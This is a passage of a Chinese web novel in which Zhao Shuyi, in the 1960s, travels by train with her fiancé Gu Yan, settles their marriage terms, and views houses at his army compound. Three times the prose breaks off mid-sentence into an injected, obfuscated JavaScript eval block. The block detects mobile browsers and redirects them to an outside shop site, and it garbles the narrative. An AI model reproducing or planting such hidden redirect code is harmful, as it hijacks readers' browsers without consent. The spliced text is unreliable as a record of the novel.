赵书宜垂下头憋笑。 顾岩似乎也挺好的。 如果他是个有担当的好男人,哪怕他们没有感情也是可以做一家人的。 当然前提是对方也愿意。 顾岩不愧是部队里出来的,手脚就是麻利,很快就把床铺好了,简直是一丝不苟。 虽然只是普通的军绿色的床单和被套,但看起来十分整洁。 更令人惊讶的是,顾岩还准备了一张多余的靛蓝色的布挂在上铺与下铺之间,形成了一个小小的空间。 “睡吧。” 顾岩看了她一眼,很快撇开眼去。 赵书宜再次说了句谢谢,“你困了就喊我,我跟你交换。” 莫名的,赵书宜心里有种异样的感觉。 她不禁在心里暗骂自己,真是两辈子没见过男人似的。 但不得不说,顾岩还真是个粗中有细的男人。 别说是这六十年代,就是后世,有几个男人能做到他这样体贴的? 赵书宜躺在床上还闻到了一股淡淡的香皂味道,她也没进空间,就那样胡思乱想着就睡了过去。 再次醒来时,赵书宜是被说话声给吵醒的。 “你能不能别无理取闹?” “什么叫我无理取闹,你能不能贴心一点?” “我怎么不贴心了,那你说说谁贴心?” “谁都比你贴心!” “我就想让你拿床单给我遮一下怎么了,是我不配吗?” “你配什么,咱们就那么两床床单,扯坏了弄脏了,你出钱买啊。” “钱钱钱,你就知道钱!离婚!跟钱过去吧你!” 15. 好像有点太霸道 赵书宜掀开床单,露出一张有些迷茫的俏脸。 对面两人也不知是不是一直关注着她,她一醒,两人的吵架声停了下来。 “你醒了?吵到你了吗?” 顾岩说话声音温柔,言语间却半点没给那两人面子,还冷冷地瞥了他们一眼。 赵书宜也跟着看过去,两人眼珠乱转就是不看他们,莫名其妙。 “我睡多久了?” “不是很久,现在下午两点,饿了没,我去打饭。” 赵书宜揉揉肚子,其实不是很饿,但她觉得或许也该到吃饭的时间了。 自己不吃顾岩也要吃,吃完也让他休息休息。 于是她点了点头,“辛苦你了。” 顾岩闻言也没多问,直接转身打饭去了。 这年头可没那么多可挑食的,火车上供应的饭菜品种也不多,能热饭吃就已经不错了,许多人都是自己带着干粮到火车上一捱就是好几天。 不过赵书宜还买了些麦乳精桃酥什么的,也是可以改善伙食的。 顾岩走了,那两人倒是不吵了。 “小姑娘,刚才那是你男人,对你可真不错,你睡个觉他还在旁边守着,像是谁要对你做什么似的。” 女人看着三十岁上下,身材丰腴,穿着一件素雅的花色衬衫,下身收腰连衣裙,虽然暴露了她肚子上的肉,却挺显气质。 她脖子上还戴着双层的珠串项链,是典型的沪市有钱人家的打扮。 穿成这样坐火车,也不怕遭人惦记。 那个男人也打扮斯文,还带了副眼镜,一下让赵书宜想到高志云,略感不适。 他坐在女人旁边脸色阴沉,跟女人的明媚形成了鲜明的对比。 赵书宜摸不准对方到底想说什么,也不想节外生枝,只是冲着对方露出一个稍显敷衍的笑容,没有说话。 谁知那女人还不高兴了,说话阴阳怪气的。 “现在的小姑娘啊,在家里被父母宠着,出门被男人宠着,简直连礼貌是什么都不知道了。” 赵书宜寻思着自己也没招惹她吧,怎么还冲她翻白眼呢? “这位大婶,你是在跟我说话吗?”赵书宜可不想忍气,谁还不是大小姐了? 女人眉头一竖,倏地从对面床铺上站了起来,“你叫谁大婶呢?” 赵书宜假装害怕地往里缩了一下。 “大婶,你可别吓唬我,我肚子里的孩子要是有个好歹,我跟你拼命!” 话音刚落就见顾岩出现在车厢门口,他端着饭菜一脸呆滞。 赵书宜尴尬地撩了撩头发,不知道他听到多少。 应该不会相信她是真的怀了孕吧? 她倒也不担心对方拆穿她,反正她根本不在意陌生人对自己的看法,刚才那样说只是为了吓吓对面的人。 果然,那男人被唬住了,劝道:“人家怀孕了,你别凑上去,担心吃亏。” 女人骂骂咧咧,“怀孕了不起啊,谁没孩子似的,生下来也是个娇气包。” “这位女同志,请你道歉!” 顾岩两步就走了进来,他把手中东西往小桌上一放就站到了那两人的面前。 他往那一杵,只定定看着那两人就把人吓得不敢再说话。 “从一进来就开始嚷嚷,怎么,认识我们,故意找茬?” 顾岩突然揪住那男人的领子,吓了几人一跳,就连赵书宜都吓了一跳。 她吞咽了一下,突然认同张玥说的话了,顾岩真的挺吓人的。 他们不是不能随便对人动手的吗? “对……对不起,是我心情不好,吵到你们了。” 女人声音有些哆嗦,但那语气倒像是真知道错了。 顾岩一下将男人推开,喝了一声,“老实点!” 那男人连连点头,一句话都不敢再多说。 赵书宜回想原身四月份和顾岩见面时的情形,对方看起来虽然冷冰冰的,但是接人待物还挺和善,难道那时都是装出来的吗? 还是说现在是在借外人的事给自己下马威? 赵书宜胡思乱想着。 她想,如果顾岩如果有打女人的倾向,那她是说什么都不会嫁给对方的。 赵书宜可不觉得自己一个女人能和男人拼体力。 “吃饭吧。” 突然,声音在自己头顶响起,赵书宜正想到许多令人害怕的画面,瑟缩了一下。 顾岩保持着递筷子的动作,没有收回去,也没说话,只是看着她眼神似乎有些复杂。 赵书宜很快调整好,她接过筷子,颔首低声说:“谢谢。” 两人吃饭时都没说话,对面夫妻也老实了,特别安静,顿时车厢里只剩了他们两人吃饭的声音。 顾岩打回来的是一个土豆炖肉和一个酸豆角,土豆炖肉里全是土豆,没见几块肉。 味道倒是不错,就是有点噎人。 赵书宜吃了一小半就有些吃不下了,反观对面的顾岩大口大口很快就把一大盒饭给吃完了。 他像是发现了赵书宜的情况,问:“吃不下了吗?” 赵书宜抬眼看他,有点看不出他现在是高兴还是不高兴,但赵书宜可不想委屈自己。 她点了点头,“我吃饱了,先……” 话还没说完,对方已经接过她手里的饭盒,把赵书宜没吃完的饭全部倒进了他的饭盒里。 “下次我给你少打点。” 然后他又匆匆把她的饭给吃了。 赵书宜想说其实放着下一顿泡泡开水她也是可以吃的。 她不想受苦,也不是不能吃苦,从前白开水泡饭她吃得多了。 但顾岩没给她说这话的机会,现在也不是讨论他的行为合不合适的时候。 赵书宜很清楚,这事不怪顾岩,这是时代的不同导致的行为的差异。 她只说了句谢谢,至于其他的,等到了再说好了。 吃完饭赵书宜本想主动洗碗,但顾岩手长腿长的,很快就把饭盒洗好了。 “你……你休息吧,我看会儿书。” 赵书宜把自己的书封面亮给顾岩看。 顾岩扫过封皮上的蔬菜养殖技巧几个字,这次没再拒绝,说:“你要是困了就喊我。” “好。” 很快顾岩上了上铺,除了刚上去的时候他就没发出过声音,像是睡得很香,这让赵书宜很好奇,好奇对方那么大个个子是怎么挤在那个小小上铺的。 看对面那男人没有顾岩的身材都睡得十分难受。 实在没忍住,赵书宜轻手轻脚地下了床,她站在地上才感觉睡了一天是真的难受。 一抬眼视线和上铺顾岩看过来的眼神对上,她心里猛地一跳。 赵书宜笑笑,解释道:“我身上有点睡痛了,走走。” 顾岩嗯了一声,说:“别出去。” 说完他又闭上了眼。 睡觉姿势都跟站军姿似的,这真的能睡着吗,赵书宜表示十分怀疑。 但问她是不会问的。 她总不能把他叫下来。 也没一直盯着人看,赵书宜很快又回到了暂时属于自己的安静的角落里。 她自然不知道她一离开顾岩又睁开了眼。 火车继续哐当哐当行驶。 赵书宜对手里的蔬菜养殖并没有太大的兴趣,但愣是一行一行看了半本。 她其实早就有点困了,但火车上什么人都有,顾岩不在她不敢闭眼,即便她身上也没有什么值钱的东西。 所幸顾岩也没有睡太久,大概两个小时候他就又下来了。 “你可以休息了。” 赵书宜迷迷糊糊点头。 “我可以借你的书看看吗?”他问。 赵书宜清醒了点晃了晃被她放在一边的蔬菜养殖技巧。 顾岩点头。 “当然。”赵书宜把书递给他。 顾岩很快就沉浸到了阅读中。 赵书宜想知道他是真的看进去了还是打发时间,就忍不住多看了他几眼。 谁知顾岩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吃饱她就又开始迷迷糊糊,刚才的那点不开心都被她抛到九霄云外了。 可就在她快要睡着时,对面那两人也因为吃饭发生了争执。 “我让你多打点肉这就是你多打的肉,你数了吗,这才几块,让人怎么吃?” “车上就这个条件,你先克服一下,等到了我让我妈给你做好吃的。” 女人冷笑一声,“你妈那个手艺,巴不得把辣椒当饭吃,我可消受不起。” 她说话总是夹枪带棒,男人似乎也有些生气了,他压着点脾气,问:“你那么看不起我家,那你来干嘛来了,待在你的沪市,继续当你的大小姐啊。” “你!你以为我想跟你去你那穷乡僻壤啊!只知道在我面前逞威风,废物!” 男人喘着粗气,眼看着就要上手打人的样子。 赵书宜看着两人,心都突突起来。 结果明明在吵架,那女人不知怎么注意到了赵书宜。 “看什么看,把你眼珠子挖出来!” “你要把谁眼珠子挖出来?” 顾岩不知道什么时候回来的,他身后还跟着两个乘务员。 两个乘务员态度极好,可走到对面那夫妻面前时语气却很生硬。 “两位,车厢内禁止喧哗,请你们保持安静,否则我们会写信通知两位同志的单位,告知今日的情况。” 两人虽面色很难看,但却没敢再多说什么,显然也是不敢丢这个脸的。 这年头单位就是人的第二个家,通知单位就好像小学生被找家长,不仅丢脸还可能会损害自身的利益。 两人自然不敢再闹,接下来的一路也算太平。 只是没想到那夫妻两人居然也是在春城下车。 赵书宜只期盼他们的目的地并不相同。 16. “我不接受离婚。” 云省火车站在春城,一下火车炙热的阳光和天边湛蓝的天空同时映入眼帘,让人挪不开眼。 “好美啊。”赵书宜上辈子也没去过云省,但也在手机上看到过这美丽的风景。 但手机上再美也远不如亲眼见到来得震撼。 偏偏顾岩是个不解风情的。 他说:“这边都是这样的,看多了都是这样的。” 赵书宜睨了他一眼,“顾连长,如果不是我主动来找你,你应该找不到对象吧。” 顾岩一愣,脸上有些困惑,但还是老老实实地回答了赵书宜的问题。 “我之前没想过找对象的事。” 赵书宜点头,“你现在可以想想了,反正我们的事情还没有定下来,你可以先考虑考虑。” 顾岩看了她一眼,“没什么可考虑的,既然是长辈们定下来的,我会负起责任。” 好好的长了一张嘴,赵书宜不想跟他说话。 但赵书宜发现自己居然一点也不反感这人,虽然知道跟他在一起后日子可能会古板无趣,自己有事可能没办法从他那里得到一句想听的话。 哎。 谁让现在自己处于劣势呢? 根本不是自己可以做选择的时候。 她应该记住自己一开始的要求。 她只需要男人是个正直负责的可以帮她度过这十年难关的人就可以了。 至于其他的,是不能依靠男人的。 赵书宜闷头往前冲,顾岩只好大跨步跟着。 她走那么快,她能找着路吗? “你慢点。”看她脚步匆匆,顾岩语气现出急色。 这时,赵书宜突然停下脚步回过头来。 “我们找个地方好好谈一谈吧,谈谈我们的婚事。” 顾岩抬手看了一下时间。 “我通知了人今天来接我们,下午三点的车回部队,现在找个地方谈一谈,然后去吃午饭再回去,可以吗?” 赵书宜刚才的那点莫名的气就像突然被针扎了一个洞,一下子就泄了。 没想到他安排得这么妥帖。 赵书宜答应下来,“好。” 顾岩依旧背着他那背包,手里还拎着赵书宜的箱子走在前面,什么都没让赵书宜拿,好像赵书宜真是什么大小姐。 不过在他的印象里应该就是这样的。 赵书宜也没强行要拿东西。 然后他带着赵书宜去了一个公园。 场景似曾相识。 “我听他们说相亲最好来公园。” 听到这话,赵书宜突然想起来,四月份他和原身相亲时他也提议要去公园逛逛。 这人……怎么这么老实? 跟她想象中的一点也不一样。 “我都可以,现在说说你的情况吧。” 顾岩沉默一下,说:“我现在正连级,工资74.5,平时任务也会有各类奖金奖励,结婚后我都可以交给你。结婚报告提交上去应该能分到一个有两间屋子的院子,我们可以一起去选。” “如果我们结了婚,我将对你绝对忠诚,希望你也一样。” 赵书宜心情有些复杂。 她原本只是想跟他轻松地聊一下对于未来对于婚姻的看法,没想到他这么严肃。 但他如果能做到他说的,似乎也不是不能在一起。 “另外……”顾岩看着她,像是不知道该怎么说,他手掌下意识捏紧了自己的膝盖。 他一直都表现得雷厉风行,突然吞吞吐吐实在奇怪,但赵书宜没催促,等着他组织语言。 其实也没太久,只沉默几息,他就有些神色古怪道:“如果你能做到我们的约定,你肚子里的孩子我也会视如己出。” 赵书宜石化。 不是,还真误会了。 她哭笑不得,难怪他自从和那对夫妻吵架后他就神色古怪,对自己也很体贴。 原来一直都想岔。 “我没怀孕。”这事得说清楚。 顾岩呆住,半晌没说话。 看到他这样赵书宜才仿佛看到一个更加鲜活更加真实的他。 “我就是吓唬他们一下,谁知吓唬到你了。” 赵书宜不好意思地笑了笑。 顾岩从她弯弯眉眼收回视线。 “下次别这样说,对你名声不好。” 知道他是为自己好,赵书宜觉得也没必要跟他解释自己完全不在意的事,应下了。 对方已经说了自己的情况和要求,赵书宜觉得自己也应该把自己的顾虑都跟对方说说。 “如果我们以后感情破裂需要离婚你是怎么想的呢?” 顾岩闻言,抬眼诧异看向她。 “我不接受离婚。” 赵书宜能感觉到他的严肃,这个时代的人觉得婚姻是很庄严神圣的,对于他们来说结了婚可能就是一辈子的事情。 如果离婚将丢尽脸面。 可是两个人都过不下去了还要强行绑在一起,这就太令人痛苦了。 “我知道你的意思了,我再想想吧。” 顾岩眉头皱得紧紧的,他像是很疑惑,最后还是问了出来。 “既然想离婚,为什么要结婚?” 这问题,还真是差点问到赵书宜了。 “不是想离婚,而是任何事情都有风险,万一你是个会打媳妇的人,万一你有了别的喜欢的姑娘,再在一起那还有什么意思呢?” “我不会!”顾岩语气依旧严肃。 “万一我会呢,万一我喜欢上别的男人。” 顾岩一下像是被扼住了喉咙,他大概没想到自己相亲会遇到这样的问题,整个人都愣愣的。 过了好半晌,他才问:“你会吗?” “我不会,我说的是万一,这只是比较极端的理由,但其实还可能会有其他理由,比如我们无法接受对方的家人,比如我们两个的性格并不适合在一起生活。” “我不想将就。” 知道他是个特别正直的人,赵书宜也不想瞒着对方骗对方和自己结婚。 “我家的情况你也清楚,我现在最好的出路是找个成分好的人结婚,但和一个完全不了解的人结婚未来会是什么样谁也说不好,我觉得提前商量好是有助于规避风险的,你觉得呢?” “如果没有发生那些事情,我们能顺顺利利一辈子过下去那当然更好。” 顾岩沉默了许久。 “我明白你的意思了。”他说。 他抬起头来,那双黑沉沉的眸子像是能直接看进人的心里。 赵书宜大着胆子与他对视,手指却无意识地抠紧了。 “所以你要谈的,是孩子还是钱?” 没等赵书宜说,他又道:“如果不是我的错,钱可以给你一半,但是孩子我不可能让你带走。” 赵书宜并没有犹豫太久,答应了下来,“可以,但我也有一个条件,如果我们之间有任意一方不想生孩子,另一方都不能强求,不熟悉之前,我希望我们可以暂时保持距离。” 这也是赵书宜为什么同意离婚不带走孩子的原因。 因为在认可这个人之前她不可能和对方生孩子。 如果认可了赵书宜也不是非得离婚。 顾岩也很爽快,“行,我同意。” 两人就这样达成了共识。 赵书宜觉得哪里有点奇怪,但又说不上来,反正自己的目的都已经达到了她也就没有多想。 顾岩比她想象中的好沟通。 说完稍显沉重的话题,接下来的行程基本是按照顾岩的安排来的。 只是两人吃过午饭,顾岩又领着她去了供销社。 “这边东西比营区那边的供销社东西多一些,你看你有哪些需要的,能买的先买回去,暂时买不了的也可以记下来,下次我来买。” 赵书宜一时间还真不知道要买什么,主要她不知道对方缺什么? “从那边过来要多久?” 顾岩看了她一眼,说:“大概要四个小时。” 赵书宜倒吸一口凉气,最后两人商量着买了一大堆,无非就是锅碗瓢盆油盐酱醋之类的。 明明买的时候也没觉得有多少,结果堆起来一大堆,来往的人视线总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615819|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住往他们两人身上瞟。 所幸顾岩像是一开始就已经安排好了,来接他们的车直接开到了供销社门口。 “嫂子。” 司机是一个十几二十来岁的小年轻,他看到赵书宜愣了一下,然后挠挠头嘿嘿就帮忙搬东西去了。 根据顾岩所说,这是后勤的采购车,他们每隔几天会到市里来采买,今天两人也算是搭顺风车回去。 顾岩和司机两人三两下就把东西直接搬上了车。 上车后顾岩突然递给赵书宜一个纸包。 赵书宜有些疑惑打开,里面竟是一颗颗绿油油的薄荷糖。 “这边的路比较绕,你可以睡一觉,不舒服就吃点糖压一压。” 赵书宜点头,“多谢。” 说完她含了一颗糖在嘴里,那种清清凉凉的感觉瞬间充斥她的口腔,真挺醒神的。 没过多久汽车就驶出了城。 然后赵书宜就见识到了顾岩说的路比较绕是什么意思。 这边的路基本都是盘山而建,一圈圈地绕,赵书宜被绕得人一会儿往旁边顾岩身上栽,一会儿往车窗上栽,实在有些吓人。 “哎呀。”眼看着又要撞向车窗,赵书宜一把抓住了顾岩的胳膊。 顾岩僵了一下,但他很快抬手揽住了赵书宜的肩膀,他声音微哑,“我扶着你。” 两人从沪市遇见到现在好几天还是第一次这么亲密。 赵书宜感觉有点古怪,但她却已经被摇得快要失去自己的意识,并没有推开对方。 这绕来绕去的路实在让人难受,难怪刚才她问他驻地离这里有多远时,对方表情微微变了一下。 赵书宜觉得她可能真的完全不会想来市里。 她被摇得难受,所幸顾岩大概是受过什么训练,一只手拉着扶手,另一只手揽着他,整个人不动如山,终于让赵书宜舒服一点。 但这样的姿势也让赵书宜感觉有一点点尴尬,于是她干脆假装睡着,意识进入了空间。 这样再怎么晃她都觉得没那么晃了。 只是她还是忍不住去关注顾岩,忍不住联想起睡在火车中铺像是在站军姿的他。 什么样的环境才能教出像他这样的一板一眼的人啊? 赵书宜就这样迷迷糊糊地睡了过去。 作为一个现代人她觉得这样靠在顾岩身上并不觉得有什么,更何况他们是马上要结婚的关系。 然而她却不知道顾岩因此身体僵硬了一路,而前排司机也多看了他们好几眼,若不是山路难行,只怕他会更加放肆。 赵书宜半路清醒后就任由自己意识沉浸在空间里,她也不敢太放松,只能拿那些书出来看,如此时间仿佛过得飞快,终于他们进入了一片有些平坦的地界。 赵书宜意识到他们快到了假装清醒过来。 她直起身时,顾岩猛然把胳膊收了回去。 “顾连长,你们在哪里下车?” 顾岩道:“去招待所,东西也先放那边。” 说完他跟赵书宜解释。 “房子还没定下来,招待所就在家属院旁边,先在那里安顿下来,晚点我带你去看房子。” 赵书宜小小打了个哈欠点头,“好。” 顾岩颔首,转过头去时嘴角噙着一丝笑容。 赵书宜怀疑自己看错了,忍不住揉了揉眼睛,看到的就是绷直的嘴角,哪里有什么笑,果然是她看错了。 小皮卡很快在一栋三层建筑门前停下,东西卸下来,顾岩让她守着,他去定了房间。 也不知道是不是赵书宜的错觉,总感觉前台的同志一直盯着她看。 不过她也没太在意。 原身长得好,历来都是吸人眼球的。 只是赵书宜觉得自己这坐了几天的车灰头土脸的,根本没什么好看的。 “你先休息一下,我回去一趟,下午五点过来接你去吃饭,顺便出去转转,你看行吗?” “行。”赵书宜早想好好洗漱一下了。 把人打发走,她才进入空间放松地躺在了地上。 这一路真是不容易啊。 17. 她似乎嗅到了一丝狗血的气息。 有空间帮忙,赵书宜休息得饱饱的,下午四点多就收拾好了等待着顾岩的到来。 如果不出意外,这里将会是她未来会居住好些年的地方。 她也想好好出去转转。 这地方的自然条件赵书宜是很喜欢的,她从没见过这么原始的漂亮的风景。 要是能偶尔去爬爬山什么的就更好了。 望着窗外的风景,她一下看出了神,等反应过来,赵书宜一看时间,已经五点一刻了。 “怎么回事?” 顾岩不像是不守时的人,难道是被什么事情绊住脚了吗? 就在这时,门外响起了敲门声。 赵书宜开门一看,外面竟是一个陌生的小战士。 看到赵书宜他愣了片刻,“请问是赵同志吗?” “我是,你是?” “嫂子,是顾连长让我来的,我叫何旭。连长说他有事到医院去了,晚点再来找你。” 说着他把一个饭盒递给赵书宜,“这是给您带的饭。” “谢谢,麻烦你了,何同志。” 早在来之前赵书宜就想过的,对方的职业使然,注定他要将更多的事情放在自己的事业上,如果自己真要和他在一起就要做好这方面的准备。 赵书宜其实对这样的生活挺满意的,两个人各自忙各自的,是一家人,但又能有自己的空间。 对方不知道是在食堂打的饭菜还是从国营饭店买来的,一个炒肉丝,肉丝特别嫩滑,闻着也很香,味道出奇好,她还真想知道是怎么做的。 吃了饭赵书宜并没有傻傻在招待所里等着。 对方指不定什么时候才有空,她先出去转转也是好的。 赵书宜跟前台的同志说了一声后出了门。 刚一出招待所她又被眼前的风景迷住了。 正是傍晚,天边一片火烧云映得整个小镇都仿佛被染成了火红的颜色,太震撼了。 只可惜赵书宜没有相机,就连画笔也没有,要不然她真想把这样的画面记录下来。 招待所前面有一棵树将景色挡去了些。 赵书宜走到树下抬眼,将太阳落山的景象尽收眼底。 晚风拂过,夏天的风仿佛还带着点暖意,但赵书宜却感觉正好合适。 她想留在这个地方。 正当她沉醉在美丽的夕阳晚景中时,身后传来一个熟悉的声音。 “赵书宜。” 赵书宜回头,见是顾岩,冲他露出一个大大的笑容。 “你的事情办完了吗?”赵书宜迎上去,看了看他怀里抱着的小孩。 “顾大哥,她是谁啊?” 听到声音赵书宜这才注意到刚才走在顾岩身边不远不近的清瘦小姑娘跟顾岩是一道的。 她似乎嗅到了一丝狗血的气息。 如果她没看错,小姑娘刚才看她一闪而过的眼神好像有点不善。 不会吧? 赵书宜拒绝陷入狗血事件。 “这是我未婚妻。”顾岩毫不犹豫的声音拉回她的思绪,又听对方道:“这是我战友的儿子和妹妹,等我找人先把他们送回去,你要跟我一起吗?” 赵书宜没拒绝。 顾岩没多介绍显然是没打算和对方走得太近。 她发现那个小姑娘一直望着她,她也假装没有看见,只是走在顾岩的另一边。 “回去记得让小亮吃药,如果下次再生病记得先去找人,很多时候你来部队不一定能找到我。” 顾岩跟那小姑娘说话时语气依旧硬邦邦的,但对方却似乎很听顾岩的话。 她眼睛亮晶晶的,一直点头。 等顾岩说完她这才又说:“顾大哥,你能和我们一起回去吗,我有点害怕。” 顾岩低头看了眼怀里熟睡的孩子。 “不用怕,我让何旭骑车送你们回去。” “可是……” “我还有事,下次我再去看你们。” 啧啧,有点冷漠。 小姑娘明显有些不甘心,但还是点了点头,应下时看了赵书宜一眼,小小年纪还不太能藏得住情绪,明显有些怨怼,但也有可能是对方根本没想藏。 赵书宜觉得莫名其妙,心里还有点不舒服,她招谁惹谁了? 但她没发作,她也不是大团结,也不可能谁都喜欢她。 怨吧怨吧。 看不惯她又干不掉她。 她就是爽文女主。 心里安慰自己一通,赵书宜很快跟着一起到了部队门口,顾岩让人帮忙通知了一声,不一会儿有人骑着一辆自行车出来。 “连长!嫂子!” 来人正是下午给他送饭的士兵,何旭。 赵书宜冲他微微颔首打了个招呼。 “你把他们姐弟送回去一下,警告他父母谁要是再敢欺负小亮,我扒了他的皮。” 赵书宜敏锐地注意到顾岩在说那话的时候刚才那姑娘眼神闪烁了一下。 孩子被交到她手里,她直接背在了背上,也不知道是不是病得厉害,那孩子一直没醒。 很快自行车驶离,小姑娘一直望着他们,像是舍不得。 “那孩子没事吧,是病得很严重吗?” 顾岩诧异,“怎么这么问?” “我看他睡得很沉。”而且那姐弟给她一种有些奇怪的感觉。 “没事,就是吃了药会犯困。”顾岩脸上表情有些阴沉,不知道想到了什么。 赵书宜:“如果你很担心,你可以先去送他们,我们的事也不急。” 她可不想因为自己耽误了他的事。 “没有,他们没什么事情。” “可是你刚才不是说,会有人欺负那两个孩子吗?” 她想知道顾岩是怎么处理那两个孩子的事情的。 原本她是觉得那小姑娘或许对顾岩有点意思,可看顾岩的反应似乎是她想多了。 小姑娘可能会对一向照顾自己的大哥哥有一点占有欲? 希望别是经常会来找麻烦的才好。 看来嫁给顾岩这件事情也不是她想得那么简单。 “这件事情我已经在处理了,很快就能处理好。” 顾岩问她:“今天时间还算早,要不要去看看房子,我已经拿到钥匙了。” 他晃了晃手里几把钥匙,看来真是做好了准备的。 赵书宜也不好拂了他面子,只是去看看而已也没什。 “走吧。” 顾岩帮她在门卫登了记,两人往家属院走。 正值傍晚,到处是聊天遛娃的婶子,赵书宜总觉得有视线往他们身上瞥,让她多少有点不自在。 “这些婶子嫂子们大多都挺好的,可能……可能就是比较喜欢说些热闹。” 热闹? 这大概就是他之前担心的她们拿她身份说事的事情吧。 其实赵书宜最清楚,现在情况还没到最糟糕的时候,要是等之后情况变得更糟了,她或许真有可能成为众矢之的。 “如果我住进来了,我能不跟她们来往吗?” 顾岩脚步一顿,说:“可以。但是我会经常出任务不在家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615820|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你一个人可能会比较无聊,或者你想出去工作吗?” 工作? 赵书宜不想工作,她只想宅在家里在空间种田。 “我可以一个人,我喜欢一个人。” “可以,你想怎么样都行。” 疯狂心动。 赵书宜甚至觉得哪怕顾岩在外面有别的喜欢的姑娘都行。 但前提是她和他只是表面夫妻。 不过听顾岩之前的意思是想和她做真夫妻的,这让赵书宜有点愁。 “这里是第一个院子,之前有位战友刚搬走,这里最新,不过在路口,来往人多。” 顾岩一边介绍一边拿钥匙开锁。 院子里的地翻过,看起来确实像是时常有人打理的。 只是屋内情况不怎么好,这家大概是养了熊孩子,次卧墙上到处画得乱七八糟,而且最让赵书宜不喜欢的是厨房。 院里的地都是泥巴夯实的,大概是住得久了,厨房地上坑坑洼洼的,而且油烟也很重,整个厨房有一半的地方都是黑漆漆的。 要想住进来,整理厨房是个大工程。 顾岩也注意到了赵书宜看着厨房地面时有些嫌弃的表情,他说:“这地到时候可以找人重新平一下。” 赵书宜没说什么点点头,道:“去其他的看看吧。” 至少先都看一遍有个对比比较好。 顾岩自然没什么意见。 很快两人又绕到了第二处院子。 第二处院子看着跟第一处差不多,也是刚有人搬走,但是这里没有熊孩子嚯嚯过的痕迹,家里也更爱护一些,位置也是在一个路口。 缺点是院子太小,院子里还有一棵大大的柚子树,几乎没什么可以种菜的空间了。 但如果让赵书宜二选一的话,赵书宜肯定会选这里。 看赵书宜的反应顾岩心里也有数了。 “这里其实还可以,左右邻居都还算是比较客气的,院子也不错,就是小了点,房间也比较小。” “另外一处院子情况有点特殊,你可能不会特别喜欢。” 赵书宜挑眉,他还了解自己了? “说说看。” 顾岩说:“你先去看看吧。” 莫名其妙,倒是真激起了赵书宜点好奇心。 第三处院子在角落里,离大门比较远,可能要走二十分钟。 但这点对于赵书宜来说并不是什么问题,她又不想天天出门。 只是当她看到院子时还是有些吃惊的。 还没走到院子前就闻到一股有些难闻的药味。 赵书宜看了眼顾岩,顾岩还没开口,旁边的院子里传来一个女人尖利的喊声。 “滚,我说了让你滚啊!” 随即是碗碟被摔碎在地上的声音。 没一会儿里面又传来了痛苦隐忍的哭泣声。 赵书宜隐约猜到是什么情况。 她也没多问跟着顾岩进了旁边角落的院子。 这院子一看就是许久没人住了,地上到处是杂草,灰也很多,院子里还有一棵桂花树。 但与前一座院子不同,这一座院子算是依山而建,比较宽阔,站在院子里还能更好地看到远处的风景。 赵书宜很喜欢。 内部跟前面两座院子倒是差不多。 厨房很令赵书宜惊喜,不为别的,大对于赵书宜来说就是好的。 她前前后后又看了一遍,这里靠着山,山上还有几棵栾树,她都不敢想象秋天这里该有多美。 “我喜欢这里。” 18. 她突然觉得自己好像有了方向 顾岩当然没有立即答应赵书宜就选最后那处院子。 毕竟旁边一家人的情况还是要说清楚的。 两人从房间里出来正好看见隔壁的男人在晾衣服。 那是一个大约三十岁长得有些清瘦但又很干练的男军官。 “顾连长,带爱人来看房子?” 男人对赵书宜点了点头,眼底情绪有些复杂。 赵书宜自然是看不透他的情绪的。 顾岩立马介绍,“我们还没打结婚报告,这是赵书宜,书宜,这位是陶源陶团长。” “陶团长你好。” 陶源冲她扯出一个笑容,他也没问两人要不要选这里礼貌客气后说:“你们忙。” 等离开后顾岩才跟赵书宜介绍起陶源家的情况来。 原来陶源的妻子夏木兰原本也是部队的军官。 两人是部队出了名的双子星。 但后来一次任务,她意外受伤,双腿废了再也站不起来,身上也留了很严重的疤痕。 “从前夏连长也是一个很优秀的军人,许多男人都比不过她,但经过那件事情后她性情大变,经常会在家里发火,或者哭,就连勤务兵都被骂走了许多个,所以很多人都不愿意住他们旁边。” 原来事情是这样。 赵书宜听完心里堵堵的,说不清什么滋味。 她也理解,这年头的人多多少少还是有些迷信的,一天到晚在家里任谁听了哭声可能都会觉得晦气。 而且那角落里的位置靠着山,晚上更是安静,如果对方在晚上哭,那可有点吓人。 “你可以考虑考虑。”顾岩有些惋惜说,“夏连长的事情多少有点影响陶团长,如果不出意外,他可能要不了多久就会转业了。” 闻言赵书宜蹙了蹙眉。 谁都看得出来陶源想要转业是为什么。 “陶团长是个很厉害的军官吗?” “是,他不仅在指挥作战方面的能力很强,在训练士兵上也是一把好手,而且他还是武器研究方面的专家。” “那他这样转业有点太可惜了吧。” 顾岩再次叹息,“是,大家都觉得很可惜,但总要有取舍,如果是我,我可能也会和他做出同样的选择。” 赵书宜诧异看向他,后背突然麻了一下。 她不是不相信这世界上真有如此真挚的感情,但真有这样的好事落在自己身上总是会让她产生一点怀疑。 他是在说好听话吗? 